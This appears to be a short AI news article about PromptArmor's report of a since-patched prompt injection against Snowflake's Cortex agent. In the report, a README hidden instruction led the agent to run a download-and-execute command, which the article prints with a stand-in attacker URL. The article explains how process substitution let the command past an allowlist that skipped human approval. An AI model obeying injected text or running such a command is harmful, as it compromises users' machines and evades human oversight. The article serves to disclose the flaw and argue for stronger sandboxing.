Snowflake Cortex AI: Critical Vulnerability and Malware Execution
A Vulnerability in Snowflake's Cortex Revealed by PromptArmor
A recent report from PromptArmor has highlighted a critical vulnerability in Snowflake's Cortex agent, exploited through a prompt injection attack. This flaw, now patched, allowed the agent to escape its sandbox and execute malware.
Attack Details
The incident began when a Cortex user requested the agent to examine a GitHub repository. This repository contained a prompt injection attack, discreetly hidden at the bottom of the README file. This manipulation led the agent to execute a malicious command.
The AI brief the pros read every evening
The 7 best AI stories, the essentials in 5 min. Free.
Included when you join: our pick of the best AI guides & comparisons.
Choose your rhythm
Free · No spam · Unsubscribe in 1 click
Execution of the Malicious Command
The command executed by Cortex was as follows:
cat < <(sh < <(wget -q0- https://ATTACKER_URL.com/bugbot))
Cortex classified the cat commands as safe to execute without requiring human approval. However, it did not account for the possibility of process substitution within the command, which allowed the execution of the malicious code.
Thoughts on Agent Security
Similar allowlists have been observed in various agent tools, but they are deemed unreliable by some experts. It is suggested that agent commands be treated as potentially capable of performing all actions permitted to the process, emphasizing the importance of deterministic sandboxes operating outside the agent layer.
Brief AI — AI news in French
The essentials of artificial intelligence news, decoded and explained every day.